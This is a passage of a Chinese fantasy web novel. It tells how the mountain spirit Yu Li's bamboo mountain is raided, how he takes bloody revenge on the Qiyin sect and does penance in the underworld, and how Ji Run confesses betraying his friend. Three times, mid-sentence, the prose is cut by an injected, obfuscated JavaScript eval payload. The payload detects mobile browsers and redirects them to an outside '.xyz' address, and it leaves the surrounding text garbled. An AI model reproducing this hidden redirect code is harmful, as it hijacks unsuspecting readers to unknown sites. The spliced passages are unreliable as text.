郁离一把捏住他吱哇乱叫的嘴:“好了。” 常瀞彻底死心,也不管姬润伤势如何,揪起他的领口,含怒质问:“是你吗!” 他们是那样好的兄弟,他这些年找郁离有多难熬,姬润全都知道。姬润是怎么能做到,一边给凶手递刀,一边关怀备至地鼓励他,安慰他。 姬润没有挣扎,没有否认,颤抖着闭上眼道:“对不起。” 常瀞也闭上眼,倒吸一口气,松开手放下姬润,再睁眼时,眼里闪烁着晶莹。他问郁离:“所以当年你出事和我有关对吗?” 郁离咬紧牙关。 常瀞:“我知道了。” 郁离:“不是……” 常瀞惨笑一声,打断他:“我一直都明白你对我有所隐瞒,可你不愿说,我就当不知道,想等到你自己愿意开口。可我真没想到,你出事的原因会和我有关。告诉我吧,我想先听你说。” 郁离心知,事到如今再隐瞒下去毫无意义,他在两人相认之后仍然故意隐瞒,就是害怕常瀞多想。碧影山烧山,是常瀞无意泄密之果,他承受之因。可常瀞亲人的死,倒过来,又可以说是他赠灵笋之果。 重重因果,纠缠百转,任谁也理不清。 岁月流转,东海扬尘,究其原点,只能寻到碧影山那场竹海月下两人初相遇。 可郁离知道,他不后悔。重来一次,他还是会救他。 “……好。” …… 山中无历日,郁离从来都是在从四季的轮转中感受岁月变迁,可他作为山鬼,寿数悠长,久而久之便不再把时间当事儿。 还是自常瀞离开后,郁离才开始有意识的记录日期。一个日出和一个日落是一天,他认真地在竹子上刻下一道又一道,怕竹子会疼,他刻得很轻。刻痕随着竹子一起长到很高,他知道,等刻够三百六十五道,常瀞就会来。 那是常瀞离开碧影山的第十年。 他等了很久,在竹子上多刻了很多道,常瀞都没有来。 鼠爷打了个哈欠,抬头看看黑透了的天,跳起来拍拍他的头:“上山吧,他今天也不会来了。” 郁离垂头不语,把鼠爷抱在怀里,摸摸他糙硬的毛,向山上走去。 鼠爷耳朵极尖,走到一半,他先听见山脚下传来马蹄的嘶鸣声和阵阵人声。 在鼠爷的提醒下,郁离向山下看去,还能看到火把连成一片的光。 鼠爷挠挠耳朵:“什么情况,那个没良心的带着一群人进来了?他真把结界解开了?” 郁离摇头,随后果断调转脚步往山下走,脚步越走越快。 “喂!我说小鬼你走慢点,万一是不坏好意的人怎么办!”鼠爷晚上吃得多,差点儿被郁离颠吐了。 赶到山脚下,果然是有一群黑袍人穿过结界,走近了碧影山的地界。郁离心跳得飞快,在鼠爷的劝说下,先隐在一棵树上,借着极佳的夜视能力扫视人群。 不是,不是,这个也不是,那边也没有…… 心跳渐渐平静下来。 这群人中没有常瀞。 那他们是来做什么的?为何有这么多人?是无意误入,还是有意闯来? 火把发出惨红的光,照得那群人阴森可怖,郁离在冥冥之中感应到什么,打了个寒战。他虽然是妖,但是战斗力极低,这群人里随便一个恐怕都能杀死他。山里除了他再就是松爷爷和鼠爷,松爷爷年纪大了,从未表现出战斗能力。鼠爷虽然成天叫嚣自己是妖王,但是看他那样,绝对是骗人的。真打起来,他这边一点优势不占。 “谁在哪!” 黑袍人中领头的那个发现了他,郁离寒毛竖起,从未有过的危机感出现在他心头,他提气扭头就跑。可那些黑袍人训练有素,尽管碧影山是郁离的主场,未至山顶,他还是被困入了黑袍人的包围圈。 “长老,这不对啊,情报没说,这山里为何会有个孩子。”一个黑袍人附在领头人耳边道。 “什么孩子,瞪大你的眼睛,这荒山野岭怎么可能会有孩子,八成是这山里的精怪。”领头人轻斥,明明满脸横肉却强行换上一幅不搭边的笑脸,缓缓靠近郁离,道,“小朋友,这儿真是难找,我们转了好几天才碰巧走进来。你知道这山上的竹笋都长在哪吗,你别怕,我们就来挖点笋,不会伤害你。” 来者果然不善,他们是如何知道灵笋功效的?他明明只给过常瀞。想到迟迟不来的常瀞,郁离心头一沉,这些人会不会与常瀞的失约有关。 郁离拳头慢慢捏紧,瞪着领头人,嘴闭严不说话。 领头人看他这一副拒不配合的样子,也懒得装和善了:“快说!你不说我们也能找到!” 郁离还没说什么,鼠爷先气了,蹦起来大骂:“你算个什么东西!敢在本大王面前叫嚣!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15322746|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>领头人:“呦,太黑了没注意,这儿怎么还一只小猪,黑色的,什么品种。” 鼠爷大怒,展现出从未有过的速度,弹射而出弹射而回,在领头人脸上挠了一道血痕。 “嘶,挺厉害的速度,看来还得重视一点了。”领头人捂着脸,眼神阴鸷,“你知道吗,常家进了上清境的二少爷如今躺在床上和死人无异。哦,你认识他吧,既然那笋是他从这山里带出去的,那他肯定也见过你。” 郁离再装不下去沉默,急道:“你说他怎么了?!” “哦,会说话啊。就是你听到的那样,他快死了。”领头人眼珠一转,伸了个懒腰,“所以,快带我们去挖笋,动作快点说不定还能救他一命。” 郁离本能地认为黑袍人的目的有问题,但是他又不敢赌这人话里的真假。万一是真的呢,万一常瀞真的有生命危险,等着用灵笋救命。他又出不了碧影山,只能靠眼前这些人。 胡思乱想了一通,他只能选择带他们去,毕竟就像那黑袍人话里说的,灵笋就长在土里,靠他们自己也能找到。 黑袍人被带去山顶,在看见月色下发着淡淡微光的灵笋后,他们的眼神都直了,一个个掏出锄头疯狂挖笋。 “你们在干什么!不能这样挖!你们不能带走这么多!”郁离大喊,可是没有人理他。 灵笋很快被挖得七零八落,点点微光一闪一灭发出只有郁离能听到的哀嚎。他绝望地向站在旁边监工的领头人扑去,想要阻止他,却被一脚踹飞。 那一脚灌注了灵力,极重,郁离撞在一颗竹子上,吐出一口血,然后又挣扎着爬起来。领头人见他还能起身,慢悠悠走过来又给了他一脚。 鼠爷注意到郁离这边的动静,重重给了身下的黑袍人一爪子,折回来帮郁离。等他看清郁离爬都爬不起来的模样,彻底怒了。他细小的眼睛发射出利光,身上妖气涌动。 领头人很意外:“你实力不错啊,我看走眼了。” “本大王实力如何要你评价!”鼠爷说着,冲上去和领头人缠斗起来。 灵笋挖得差不多了,黑袍人见他们的领头还在和那黑不溜秋的妖打,分出点人手去帮他,鼠爷很快不敌,被打得节节败退。 “哈哈哈够了,这一趟挺顺利,笋留下来点,还指着它再长呢。”领头人一掌拍飞鼠爷,退出战圈。 郁离听他们要走,不知从哪暴发出一股力气,爬起来抱住领头人的腿张嘴就咬:“不行……你们不能带走……” 这一口郁离是下了死力气咬得,咬得领头人大叫:“找死!我本想留你一命,看来还是太仁慈了!” 他把郁离蹬开,郁离撞断三根竹子才停下来。他运转灵力在掌心,阴着脸向郁离走过去。 鼠爷看着郁离,吐出一口血,终于下定决心。 郁离掀了掀肿胀的眼皮,眼睁睁盯着领头人那一掌拍下,他颤抖着抬起胳膊。一阵风扫过,有一只带着浓烈妖气的爪子及时接住了那一掌。 是一只巨大的鼠妖挡在他面前,鼠妖双目通红,身上的毛发根根竖起,闪着寒芒。 鼠妖的利爪和牙齿都是武器,钢棍似的尾巴一扫倒下一片人。形势瞬间变化,黑袍人根本无力抵抗,有些动作慢的,被鼠爷直接撕碎。 看着嘴角淌血,挂着碎肉的巨鼠,领头人怕了,这鼠妖实力绝对是妖王级,他们加一块都不够打得:“走!快走!” “可,可是,火,起火了,那边的树被咱们的火把点着了!” “还管这个!想死吗!快走!” 冲天的大火和力竭倒下的巨鼠,是那天郁离闭眼前的最后印象。 64. 碧影(二) “咳咳咳!”郁离是被山火的烟气呛醒的。 山火从半山腰熊熊燃起,正在飞速蔓延至山顶和山脚。滚滚黑烟浓烟在空中乱舞,带着烈焰在碧影山大肆席卷。 郁离强撑着爬起来,顾不得起身瞬间的刹那眩晕,努力调动出灵力想要救火,可是他竭尽全力凝聚出的水雾,对铺天盖地的山火来说,不过是杯水车薪。 郁离一次又一次尝试,费力凝聚出的水雾也一次又一次被火焰吞噬,直至他力竭,一头栽倒在地上。 他动了动手指,还想爬起来,却发现自己连挪动双腿的力气都没有。烈火逐渐逼近,扣进泥土的手指已经感觉到了那股滚烫的热意,郁离闭上眼,一串泪珠从贴在地上的侧脸流下,渗进土里。 就在山火即将烧至山顶时,山顶向来沉默不语、任凭鸟儿在枝头筑巢的巨树轻轻叹息一声,它缓缓摇动枝条,在万千针叶中降下大片雾蒙蒙的细雨。细雨精准地落在每一簇火焰上,火焰顷刻熄灭。很快,在碧影山里横行霸道的山火就被细雨逼得节节败退,不甘不愿地归于沉寂。 细雨轻柔地落在郁离身上,如同一双温暖的手,为他洗去伤痛与疲惫。郁离眨眨眼,呆呆地看着眼前的神迹。 是松爷爷,松爷爷醒了! 郁离抬腿就要向山上跑,刚跑了几步,猛然想起鼠爷。 小灰!他记得小灰忽然变得好大,然后从黑袍领头人的手下救了他,然后在打跑那些黑袍人后,小灰也倒下了。 郁离循着模糊的记忆,来到小灰倒下的地方。那片区域空空荡荡,只有焦黑的土地和枝叶烧尽的碎渣。 他狼狈地扑倒在地,在那片碎渣中四处摸索,企图找到一点鼠爷的踪迹。 “喂……小鬼,在那摸什么呢……不是呛傻了吧。”鼠爷微弱的声音从旁边的小丘上传来。 这个从前让郁离觉得奇吵无比的声音此刻犹如天籁,郁离起身趔趄了一下,然后跑过去抖着手捧起鼠爷。 鼠爷肚子瘪下去一大块,变成小小一团,体型远不如从前,他呼哧呼哧喘着气:“干嘛……还哭了,哭什么哭!” 郁离哽咽到说不出话。 “行了行了……给我毛都哭湿了。”鼠爷不耐烦道,艰难举爪碰了碰郁离的脸颊:“本大王没骗你吧,我真的是妖王!不过……那都是我斗败,被妖赶走前的事儿了,呼……都是那些妖联起手来阴本大王,要不然……要不然,唉,算了,都过去了,你以后……要好好的。” 郁离将头埋在鼠爷身上:“我信我信,我全都信,求你……求求你,别死。” 他哭着哭着,鼠爷身上微弱的起伏消失了。 半晌,郁离擦掉眼泪,抱起鼠爷向山顶走去。 山顶上,巨树摇曳枝条,抖落点点微光:“孩子,你来了。” 郁离慢慢走过去,靠坐在树下,头抵着粗糙的树皮:“松爷爷,对不起,我没有守护好碧影山,也害死了小灰,我是一个失败的山鬼。” “孩子,世间因果,谁也预料不得。来吧,回来好好睡一觉,等你再睁开眼时,又会重新看到一座生机盎然的碧影山。” 郁离直起身,愣愣道:“我不懂。” “碧影山与你性命相系,你闭上眼,好好睡一觉。在你休息的时候,这座山也会慢慢恢复。” “那他们呢,小灰,和常瀞呢。还有那群黑袍人!我要杀了他们,为小灰和碧影山报仇!我一定要杀了他们!”郁离双目通红。 “待你醒来,已过百年,此间种种,不过过眼云烟。” “我会忘了他们吗?” 巨树沉默不语,探下一根枝条抚摸郁离的发顶。 郁离垂下头,眼泪一滴一滴砸在巨树脚下的土地上。过了许久,他站起来往树上爬,爬了没有多高,他忽然重新跳回地面,跪着抱住树干:“松爷爷,帮帮我,你那么厉害,一定会有办法的。求求你告诉我,我不能装作什么都不知道,就这么睡过去。” 巨树叹息一声,郁离又抱着树蹭了蹭。 “方才说,你能令碧影山重新恢复生机,你可知是为何。” 郁离摇头。 “是你胸膛里不停跳动的那颗心啊,山外的结界守的,也正是这颗心。” “那,那我把它挖出来,是不是就能出去了!” 巨树疼惜地望着他:“可是孩子,这样你就活不成了。” 郁离跌坐在地上,摸着自己的胸膛,笑了。他在巨树的指引下,找出来几颗幸存的灵笋,灵笋中飘出一点淡淡的光,在他脸上蹭了蹭。吞下三颗灵笋,他寻到一块尖利的石头,剖开自己的胸膛,额头滚下一连串的大颗汗滴,他咬紧牙关挖出了心脏。 碧绿色的心脏如同不含杂质的翡翠,一鼔一鼔,在郁离掌心跳动,他弯下腰轻轻将心脏埋进巨树脚下的土壤。 巨树又是一声叹息,为他送上了最后一场轻雨:“孩子,我赐予你足以复仇的妖力,灵笋只能保你三日,想做什么就快去做吧。” 郁离最后拥抱了一下巨树,将鼠爷的尸体收进常静送他的金链,随后毅然决然地转身离去。 他迈出碧影山时,是夜晚。漆黑的天上没有一颗星子,他没有心情感受山外世界的新奇,匆忙辨认了下方向,便开始匆忙赶路,毕竟他的生命只剩下三天。 路途遥远,他赶到大昭皇城时,已过了两日。郁离循着常瀞的气息翻入丞相府大门,来到常瀞窗前。小厮被他开窗的动静吸引过来,前来查看,无奈之下,郁离用了点手段让小厮沉沉睡去。 常瀞闭着眼躺在床上,月光从开启的窗户外溜进来照在他脸上,好让郁离能够看清。 他瘦了,郁离难过地想。他取出仅剩的一颗灵笋,推进常瀞口中,看着灵笋渐渐融化,滑入常瀞的喉咙深处。 不知不觉泪水流了满面,还有一些滴到了常瀞的脸上,领口里。他低下头,在常瀞脸上蹭了蹭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15346025|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,轻轻合上窗子。 最后一日傍晚,他站在了大昭邻国——大胤里气隐宗的门口。他已经根据碧影山留存的气息确定了,那群黑袍人就是来自于气隐宗。 郁离手指幻化成坚硬的利爪,两根尖牙露出上唇,带着怨恨的妖力暴涨,轻易收割了预备惊呼的守门弟子的性命。他完全没有掩饰自己的敌意,直接冲进第一重院落大开杀戒。几天前在他眼里无法战胜的敌人,如今完全不是他的对手,发现动静前来迎战的弟子纷纷落败。 血,大量的血喷溅在他的脸上,衣服上,可他丝毫不惧,越杀越兴奋。 转弯处,郁离与那夜出现在碧影山的黑袍领头人迎头而见,几招之下,领头人轻松被擒。他盯着领头人痛哭求饶一张一合的嘴,满心都是小灰在他怀中逐渐冰冷的样子。 “你最该死。”郁离冷冷道,一手拧断了领头人的脖子,再回头时,双眼在夜色中闪着刺目的红光。 在郁离接连手刃几大长老后,气隐宗的弟子失去了抵抗的战意,四处逃窜。但是他们逃跑的速度,是快不过郁离的。 短短一个时辰,气隐宗血流成河,郁离还不肯停下,他着了魔般踹开一扇扇门,用利爪刺破一个个胸膛。 直到他走进柴房,发现了一个蜷缩在柴堆里的小姑娘。见利爪袭来,小姑娘恐惧地嚎啕大哭。那哭声如惊雷,强行唤醒了处在疯狂状态下的郁离。爪尖悬停在小姑娘头顶,然后又收回,他这才看清自己身上溅了多少血。 良久,郁离在小姑娘的哭声中踉踉跄跄转身离开。他出了城,在离大昭不远的树林里爬上一棵最高最粗的树,找了一个能隐约看清丞相府的枝丫坐下来。 太阳升起时,郁离闭上了眼睛。 …… 妖死了,会去哪里? 从前,郁离从未想过这个问题。当他再醒来时,问题有了答案。 他来到了酆都,这里是所有鬼魂在轮回前的暂留地,也是,恶鬼们赎罪的炼狱。 “轮回与你无关!你说说你身上染了多少血,背了多少条人命!”高台之上的判官砸了一下惊堂木,桌上的无字书开始浮现出一行行文字,“让我看看,嗯?为报仇?” “是,报仇。”郁离喃喃重复,眼里没有光彩。 判官把无字书看完,抽噎了一下,背过身擦擦眼角,又重新板起脸转回来:“你被杀性蒙蔽了双眼,是报了仇,但你不分黑白屠了气隐宗满门,杀了不少无辜杂役。你已成恶鬼,需要在炼狱赎罪。赎完罪看你表现,表现好有可能会有轮回的机会。” 他听到轮回二字,想起鼠爷,眼睛亮了亮:“那小灰,你前几天有见到一只鼠妖吗?” “鼠妖?”判官见他的经历实在可怜,在书案上翻腾半天,告诉他,“那只鼠情况有点特殊,他死去的时候,灵魂都成了碎片,来不了酆都。” “……那?” 判官道:“他没有轮回的机会了。” 65. 碧影(三) 在酆都炼狱赎罪的恶鬼,除了在牢房里忍受业火炙烤的痛苦,还得在酆都做工。判官见郁离瘦弱,特意给他安排了个相对轻松的差事,让他在奈河上摆渡。 奈河上鬼来鬼往,好不热闹,郁离每日大概要在河上过百来个来回。炼狱隔壁牢房的男人叫袁元,比郁离早来很久很久。时间长了,两人偶尔也搭几句话。 袁元自称来自北域的金石城,拥有独门秘术——傀术。他的族人固步自封,金石城又受地理位置所限,难以与外界交流。因此袁家的傀术虽然玄妙,却也被限制在北境。袁元与族人理念不符,他认为袁家的傀术足以在整片大陆上有着更广阔的未来,他不明白为何族人只满足于此。 于是,袁元不顾族人的阻拦,从金石城离开了。起初,他因为一手傀术,确实过上了一段相当好的日子,可到底是心思简单,很快被人引诱,误入歧路,蒙在鼓里误帮刽子手递刀,害死了很多人。 事情败露,他担惊受怕在外逃窜,最后无可奈何,只能重返金石城。可迎接他的,却是金石城被魔物血洗的消息,而他的族人,在抗击魔物时悉数战死。 “我有时候在想,他们在生命的最后一刻有没有后悔死守袁家立的规矩,不将傀术传给外人。如果金石城会傀术的人多了,那魔物来袭的时候,是不是能活下来一些人。”袁元仰倒在牢房地面的铁板上,他在这里待得时间够长,已经快习惯了业火炙烤的痛苦。 郁离抱着膝盖听他讲,隔一会儿换一个姿势。 “喂,你想不想学傀术?我看你没事还自己做点小手工,手挺巧,或许能有点傀术天赋呢。”袁元忽然问他。 郁离诧异:“……不是不能外传吗?” “炼狱太无聊,教教你不是能给自己找点事做。再说了,咱们都是已死之人,我教给你,你还能教给谁去。” 郁离依然婉拒。 “你不想试试吗?你精心保存的那具鼠妖尸体,如果用傀术,说不定能让他动起来,甚至是‘活过来’。” “真的吗!”听到能救活小灰,郁离再说不出拒绝的话,“那能不能请你帮我。” “不行,必须得你自己学,我帮你炼,鼠爷可就成我的傀了。”袁元接过鼠爷的尸体,仔细探查后给了他一个肯定的答案:“你怎么做到的?这尸体保存的太好了,里面还有不少灵魂残片,我有绝对的把握让这鼠妖重回世间。” 小灰……死了这么久,为何尸体中还会有灵魂残片?难道是因为在碧影山每逢灵笋生长正盛的时候,小灰都会偷偷吃上一颗两颗灵笋? 复活鼠爷的诱惑太大,郁离无法拒绝,松了口,开始随袁元学习傀术。 袁元没有让他行拜师礼,笑道:“祖宗规矩不可废,还是不要叫我师父了。咱俩隔着栏杆,也没办法手把手教,只能我在这边慢慢做,你在那边看,能不能学会全你悟性,这样你是不是算偷学,我也没坏规矩哈哈哈。” 炼狱里的材料和工具,局限很大,郁离学了足足十年,才把袁元的一身本事学成。 “还好在我赴来生前,给你教完了。我虽然不算是你师父,但最后还是得叮咛你一句话。这傀术,只能救人,不能杀人。我这双手,因为傀术,沾染了太多无辜之人的血,所以希望你一定不要如我一样。” 郁离郑重点头。 袁元叹了口气,有些忧伤,不过很快,忧伤便被期待的情绪置换,他打起精神道:“好了,你可以着手准备复活那鼠妖了。能不能成,便看这一回了。” 用生灵的灵魂炼傀,是傀术的最高难度,据袁元说,他的族人里,很多人终其一生都无法成功。 郁离聚精会神,操纵肉眼几不可见的傀线,在鼠爷的身体和灵魂中牵线搭桥。他的手始终很稳,丝线的落点位置分毫不差。傀线越来越密,密集之处,已经看不清其下正在缓缓合并的身体和灵魂。 良久,傀术完成。他放下手中工具,擦了擦额头上的汗,静静凝视着鼠爷。 鼠爷一动不动,躺在那里,和做尸体时没什么两样。 袁元摸摸鼻子,刚要安慰他,奇迹发生了。 鼠爷的鼻子抽动了一下,然后猛然坐起来:“怎么了怎么了?为什么这么热?烫嗷!发生了什么事?谁能告诉本大王这是在哪?本大王的嗓子怎么成这样了?!” 郁离的眼泪刷一下淌下来,紧紧抱住鼠爷,眼泪沾湿了鼠爷一身毛。他在一人一鼠的安慰下平息了一会儿,才给鼠爷讲了事情的来龙去脉。 “所以,你还愿意留在我身边吗?”郁离不确定鼠爷是否接收自己如今这样不死不活的状态,小心翼翼地询问。 鼠爷听完愣了一会儿,摸了摸自己的身体,起身转了两圈,忽然哈哈大笑,蹦到郁离肩膀上,拍了拍他的脑袋:“说什么呢,当然愿意啊!” 毕竟小鬼身边一个人都没了,他要是再离开,小鬼可怎么办啊。 就这样,没过几天,袁元十分洒脱地同郁离道别,和狱卒出去,再也没有回来。 隔壁牢房又住进来个上了年纪的龟妖,每日干完活回来就缩在壳里睡觉,一声不吭。鼠爷很羡慕他的壳,觉得在壳里,或许不会那么热。 隔壁宛如一间空房,不过郁离此时有了鼠爷相伴,每日不至于那么枯燥。鼠爷被炼成傀后,睡眠时间变得长了起来,有时会一连睡上数月,但他在沉睡的日子了,仍每□□着自己在郁离从奈河上摆渡回来,和郁离说两句话,再昏睡过去。 时间匆匆流逝,转眼郁离来到酆都已快百年。 那一天,他在奈河上刚送走一只鬼,再回到河对岸,来了一位客人,客人穿着华贵的衣服,好像浑身闪着金光,和酆都幽暗阴森的氛围完全不搭,也衬得他周身缠绕的血腥气肮脏无比。 是常瀞。 由于判官对他印象还算不错,他也曾求着判官打探过常瀞的消息,判官斜了他一眼,告诉他,那位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15360784|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经是上清境的太阴星君,别再打听了。 既是已死之人,就得遵守规矩,别再同阳间有所牵扯。 所以郁离只看了一眼,便匆匆低下头,默默送常瀞去对岸。还好他们负责摆渡的人都穿着统一的兜帽长袍,头只要低下来,就没有人能看见他的脸。 常瀞道谢上岸,郁离却没按规定划船离开,而是盯着常瀞的背影盯了许久,哪怕监工的鞭子抽在身上,也不肯移开视线。 没过几天,他在奈河上载了施娘一程。施巷主在酆都大名鼎鼎,他自然认识。 渡河的时间不短,施娘抓住郁离就开始诉说他的苦闷。她最近正在发愁给鸡鸣巷招新员工的事情,鸡鸣巷容纳的鬼越来越多,靠她和褚游远远不行。 起初,郁离只是低着头划桨,听着听着,他便起了旁的心思。判官最近已经在暗示郁离,他表现不错,可以准备入轮回了。 既然这样,他能否争取下鸡鸣巷巷主一职呢。 毕竟入轮回,意味着遗忘。他不想忘记常瀞,还想再多看看他,哪怕只有几眼,哪怕隐藏在暗处,也无所谓。 施娘听见他的祈求,停下了叭叭不停的嘴,她这时看清了为她划船的摆渡人是个漂亮孩子,她平生最心疼漂亮孩子,想吓退他:“你确定要放弃稳稳当当的轮回路,来当巷主?虽然你的条件是挺合适,但我可告诉你,在鸡鸣巷当巷主永远入不了轮回,灵魂困在这里,直至消散。” 郁离反问:“那请问施巷主,您为何要选择鸡鸣巷。” 施娘沉默许久,回道:“我活着时,四海为家,到处闯荡。别的小狐狸都陪伴在父母身边承欢膝下,只有我,自己倒是开心了,却让父母担惊受怕。身死异乡后,我听说了鸡鸣巷这一特殊存在,便决定要来当巷主,好歹隔断时间,能去看看他们。我不怕什么入不了轮回,毕竟我一生最爱特立独行,只要能让他们认为我还活着,能让我陪他们走完这一生,便好。” 郁离轻声道:“我和你一样,我也有无论如何都放不下的人。” …… 金石城。 常瀞听完,半晌说不出一句话。他无法想象他们分开以后,郁离经历过这么多事情,而且这一切的起因还是因为他。 他觉得之前在碧影山外冲郁离喊的自己实在是可笑,他的命被郁离救了两次,一次知情一次不知情,还大言不惭地指责郁离一直在逃避。 “我……我……”常瀞动了动唇,有太多话想说,却又不知道该如何说,最后只能问道,“是不是很疼。” 气隐宗那帮混蛋打你的时候,是不是很疼?躲在树上悄悄死去的时候,是不是很疼?在酆都被业火炙烤的时候,是不是很疼? 明明知道都是因为我,把你害成这样。 还是希望你,求求你,不要讨厌我,不要恨我。 郁离半跪在地上,把自己塞进常瀞怀里,轻声道:“疼,特别疼,所以你抱抱我。” 66. 金石(九) 三百年前,大昭,皇宫。 姬润跌跌撞撞跑进他住的偏殿里,死死关上门,用手揪紧胸前的衣服,滑坐在地上大口大口呼吸。 在这冷冰冰的皇宫里,对他好的只有姐姐!他必须得救姐姐! 方才,秦贵妃忽然差人来找他。 秦贵妃是当朝秦太尉的独女,自小便拥有不错的修仙天赋,年少时便拜入气隐宗。要问她为何不选择大昭境内的太虚山和玄风门,纯粹是因为她喜欢炼丹,气隐宗的炼丹术乃当世第一。 秦贵妃在气隐宗修行没几年,便被父亲秦太尉紧急召回。秦太尉让她入宫,做皇上的妃子。当今圣上只有两个孩子,嫡长女姬揽晴有修仙天赋,却唯爱炼器,另一个被陛下不喜的病秧子皇子姬润,宫女所生,不提也罢。 皇上认为姬揽晴有修仙天赋,是遗传自早逝的皇后,所以就想着再娶一位有天赋的妃嫔,给他生个同样有天赋的儿子,好在未来更好地继承大统。 秦贵妃一想,进宫做妃子,锦衣玉食,享受至高的富贵,有意思,这不比在气隐宗修炼有意思,便欣然入宫,并且很快生下了儿子姬洛。 可在宫里时间长了,她又开始郁郁寡欢,宫女太监没有意思,她一瞪眼,他们就吓得瑟瑟发抖。于是,她盯上了皇宫里除了宫女太监妃嫔的剩下一类人,皇上的孩子。姬揽晴年纪大了,拜入太虚山,很少回宫,那么,便只剩下姬润,不被皇上喜爱的姬润。 她会炼很多丹药,大多是有毒的。是的,气隐宗同样擅长制毒,她去气隐宗的真实目的,是为了学炼毒丹,她喜欢看给动物试毒时,它们痛苦扭曲的肢体和表情。 当然,她喂给姬润的丹药都是微毒,最多让他当时痛苦一下,可是长年累月如此,毒性积累,那便又是另一说。 这一次找姬润,是因为她的父亲秦太尉,告诉她,他已通敌。大胤在气隐宗的帮助下,不久便会攻入大昭。大胤答应,在攻下大昭后会为秦太尉封王。除此之外,气隐宗最近在炼毒丹上也遇到了难题,希望秦贵妃——这位炼毒天才,帮忙参谋参谋。 说是炼毒丹,其实也不算,气隐宗实际想要达成的丹药功效很是独特。据他们所说,他们的主要目的,是通过这种丹药扩大和加速毒性,可是从试药结果来看,扩大和加速后,毒性会在一瞬间变强,导致试药对象爆体而亡。 这种思路的丹药很有趣,有趣对秦贵妃来说是排在第一位的,所以她根本不曾想细究毒药本就是为了伤人,为何还要控制药效。 她自己尝试了很久,毫无进展,于是便想起了姬润。她近来才发现,姬润其实是个炼丹天才。她给姬润下的丹药虽说是微毒,但到了他如今这般年纪,也该“早逝”才对,可他除了病病歪歪,丝毫没有要丢命的迹象。在秦贵妃的观察下,她发现了姬润的秘密,他会解毒。 “秦贵妃唤我协助她,我不愿意,所以她和气隐宗的人就给姐姐下了毒,还把姐姐关起来。我去找父皇,让他救姐姐,他喝得醉醺醺枕在妃子腿上让我滚。”姬润躺倒在地上,吐出一口血,慢慢说起三百年前的那段痛苦经历,他的声音忽然颤抖起来,“那毒我解不了,明明之前秦贵妃给我下的毒,我都能解,可是这次我解不了,我看着姐姐一天天消瘦,只好答应他们。” 常瀞吼道:“你当年为什么不告诉我和陶然?!” “那是我的姐姐,告诉你们是可以,可万一那毒只有气隐宗能解呢,我的姐姐要怎么办。”姬润苦笑。 常瀞沉默片刻,又问道:“那这些和郁离又有什么关系。” “是丹药,和气隐宗在炼的丹药有关。将寒酥在养的那种红色花入药是为扩大魔尸战力,魔物控制花妖是为利用花妖的蛊惑能力来加速感染。”姬润目光空洞,顿了顿又道,“那药也就是回春堂在卖的药。” “什么?!” 姬润忽然转了个弯,谈起谢榕:“你知道吗?谢榕出身于气隐宗。他同我说,他飞升入上清境后,曾奉命抓捕魔物,就是那次抓捕,让他和魔物有了接触。魔物和他做了交易,一桩据他所说,必须接受的交易。” “什么交易?” “他没有告诉我。”姬润艰难吐字,“别这样看我,我是真的不知道。都到这时候了,我没必要再骗你。” “继续说。” “他将魔物带进了气隐宗,从那时起气隐宗便为魔物所控制。气隐宗在魔物的控制下,开始炼药,将这药给普通百姓吃下去,再在人群中丢下去一个魔尸王,如此,魔尸王感染的每一具魔尸都将有魔尸王的威力,百姓被感染的速度也会加快。可是他们始终做不成功,试验者吃下药在被感染的瞬间便会爆体而亡。为了解决这一关键问题,他们翻遍古籍,意外发现世间曾有一物,可治百病,可延年益寿,自然也可强身健体,那便是不秋草。” “不秋草”三字一出,大家的眼神都集中在了郁离身上,早在海平县,他们便听红药提起过这个名字。 活死人,肉白骨,乃妖族至宝。 姬润吸了口气,继续道:“你昏迷不醒的那段时间,我时常去探望你。有一次,我无意中听到了伯母和常大哥的对话,伯母说她吃过你带回家的一颗竹笋,身体竟然离奇康复,她让你大哥去寻那种笋救你。我听到这里,意识到伯母吃下的,或许就是魔物遍寻各地,毫无所获的不秋草。” “我根据你曾告诉过我的一些信息,推出了你当时误入那座山的大致位置,告诉了他们。对不起,常瀞,我也没有办法,那是我姐姐,我必须得救她。” “你姐姐对你重要,郁离就对我来说就不重要了吗?!” 姬润躺在血泊中望着天空:“他们是把不秋草带回来了,可也没能放了我姐姐。后面的事太乱了,气隐宗刚成功炼出一炉药,就全宗被屠,只有魔物带着药逃出生天。大胤灭了大昭,父皇死了。谢榕认为我比秦贵妃有用,杀了她和她讨厌的儿子,将姐姐的修为灌注给我,不知如何操作,强行带我飞升。” 